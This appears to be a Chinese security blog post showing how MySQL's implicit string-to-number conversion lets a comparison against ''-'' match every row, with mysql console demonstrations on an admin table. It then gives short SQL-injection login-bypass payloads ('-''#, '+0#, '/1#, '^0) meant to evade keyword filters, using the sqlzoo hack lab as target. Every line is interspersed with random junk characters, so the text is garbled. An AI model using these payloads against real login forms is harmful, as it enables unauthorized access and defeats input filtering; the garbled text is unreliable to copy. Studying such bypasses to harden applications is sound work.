我们先来看这样一个场景。
- _( j2 M+ }4 F L+ Z4 h& F, O有以下表结构: - [/ i5 H5 x8 n# J
& ?& N; U- m# z2 J) g0 lmysql> desc admin; P9 F7 s: Y0 d' \, l+ ]
+----------+--------------+------+-----+---------+----------------+4 z$ J$ K4 D1 @0 r
| Field | Type | Null | Key | Default | Extra |$ B, F! `0 h4 }, A8 G3 @" u9 V
+----------+--------------+------+-----+---------+----------------+
2 x! I; Z. \% `* H& m| id | mediumint(9) | NO | PRI | NULL | auto_increment |# V: p5 y/ Z2 Z6 Y5 a+ G0 M
| name | char(32) | NO | UNI | NULL | |* v1 P+ F8 Z1 } S3 f: y! c. {$ J4 Q
| password | char(32) | NO | UNI | NULL | |' c& J+ `* o( ~. m$ a9 i
+----------+--------------+------+-----+---------+----------------+: ^. s8 v7 U, O
3 rows in set (0.00 sec): y& {: O! I4 i. z" _2 C0 V* G( C) E
执行select * from admin;,成功返回所有记录内容。6 r. V# l* t$ V" ]* x4 `
" [( A l, ~" f. I+ k9 g
6 M9 r# O9 [# G# J: u: U( y5 C+----+--------+----------------------------------+
5 m& @( M8 O; |9 ?| id | name | password |; O2 `: g4 \" k p0 ?6 N6 j1 s
+----+--------+----------------------------------+0 M) U+ ^) D: w* U+ x
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |5 E* F% N6 X6 d! s( e. B* y
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" R) ^. R* ~- s. a- A& B% j9 Y2 J/ L
| 4 | n00b | ff80e8508d39047460921792273533a4 |
' i0 T7 q, t" A6 ]- |$ j/ g9 I+----+--------+----------------------------------+
/ m: [7 U1 H2 Y8 }3 rows in set (0.00 sec)
; J! @1 f. `- N g6 F, i执行select * from admin where name=”;,没有匹配到任何记录。
# |8 T& J: K3 W0 d
- c' N/ D# b% ?! ^* c6 r9 Z$ jmysql> select * from admin where name = '';2 W$ b2 r* O/ n
Empty set (0.00 sec)) G: D. X& w6 ~* Y' l
那么我们来执行select * from admin where name = ”-”;
; j( W+ T2 L, Z7 x% h. d, |
( V' D# K4 h- G* }0 L8 k( g3 ~; q# [# P: W; i5 ?1 Y' q' o# ?
+----+--------+----------------------------------+
8 h' ]. I8 R# T; p4 Z+ a4 k| id | name | password |0 A0 P% V* g v5 }! W* y8 j
+----+--------+----------------------------------+% Y( d g8 n# r8 P9 z; j
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
+ i# Q% \4 q( @ e2 y& M| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
' {. G5 m# k8 g' \| 4 | n00b | ff80e8508d39047460921792273533a4 |
8 }7 ^% H* U& M2 V; m2 ~! N/ [+----+--------+----------------------------------+5 c9 s, x8 j0 \+ X4 f$ E. I- D
3 rows in set, 3 warnings (0.00 sec)
7 _9 v8 q0 {1 F6 b1 g @5 s可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
$ A+ t/ H* q8 E$ H
6 t7 }+ h, `4 m& R s- Rmysql> show warnings;
. g6 U8 i- u" B( c- ]+---------+------+------------------------------------------
+ b. g5 M& ~' m5 D! A- K| Level | Code | Message6 l9 o8 B- ^: u0 }" p
+---------+------+------------------------------------------$ A! g# k+ u) a7 o+ I# G
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
- [( g* R( _* m| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s: Q, `9 X8 e; [( j. D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b1 `6 Y- l" {# q+ A
+---------+------+------------------------------------------
& f( n! B7 i4 _2 s" n/ a3 rows in set (0.00 sec)! M. P) O1 ~; I3 [9 e
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
) w1 X" V1 j1 E& r+ m: {. ? R" s. J: d; ]5 Q
mysql> select ''-'';
+ v% x7 Q7 r5 W! G1 x" Y/ N+-------+
" z0 K( u) `9 E% R1 S| ''-'' |
' C4 Y% @3 N; I8 T$ b b" W+-------+1 I9 A# a9 Q! Q& K
| 0 |5 b$ K4 T5 }2 k/ {& s
+-------++ ~% P% i' k* X* l& z# d
1 row in set (0.00 sec)5 d$ N$ t7 l! H; h; F
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
) L0 e3 ~+ u! p |/ c! J' M+ V) ] V1 m5 T
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);- N2 u2 Y8 l# Z9 `" `) e5 Z
+-----------------------------------------------------+% R2 f, l! [7 ^
| CAST((select name from admin limit 1,1) as DECIMAL) |
% f8 c' M5 J$ Q' S9 k# O: z+-----------------------------------------------------+: t; |! B0 I6 |! e4 T6 e/ i
| 0 |- N* J1 q# k: [; P5 a7 M
+-----------------------------------------------------+# Z$ _ B( f5 v7 e/ T) y$ @
1 row in set, 1 warning (0.00 sec)& D" [1 P% C' K! k
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 2 ]$ R8 S3 J2 ?+ i( z: Z. v
- V% n9 j$ S2 e" b6 G, K) j& |SQL注入场景: http://www.sqlzoo.net/hack/ . u& ~; p9 O2 F7 z1 W8 `& R
! C- Z, F1 d# Y/ ]3 f* D2 T/ k0 p1 ^
5 u" n! y/ L: u# R. b
1 U, b4 T5 r& l q" S0 p* e/ [如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 7 u' t- X8 D9 Q, c: ^
8 z2 Y3 _. Q& T' ~% a那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 0 o- H/ w# i$ @7 T) {
" b J0 g x9 Y
( p9 b5 O% `! `
2 s; J3 R, D9 }+ G% e1 Y/ d: r D% S% x5 D# E/ l5 f4 i
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
3 }7 [0 D3 V$ e( s' K9 {- y' G' d7 g1 u+ \1 \% @: m
8 a" F* X! x7 P9 P/ \7 x6 {/ t
7 }1 S" A; {7 g; j除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
- s2 x% A8 k5 W# H/ y. z5 P3 h/ p
5 |) O7 v/ k* Y# a2 W
/ \1 b: H$ B+ r% V+ ]mysql> select ''/1;
2 B0 O2 ?7 j) i! T/ w+------+
) ~# x, D: X9 G! @& t| ''/1 |
$ D/ Z' Y- f0 d: s: u+------+
% O* ]! R$ k; U) \| 0 |1 h' @; A+ B8 w# o9 @) P
+------++ B( G( ]( A) J( s! d; t
1 row in set (0.00 sec)$ Z8 u0 x, {% x9 [" Y
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 / ~6 T1 S0 f! u
4 |! r. _% ]5 y利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。* j+ ]) i% U# T' t! L$ q/ ~
|
|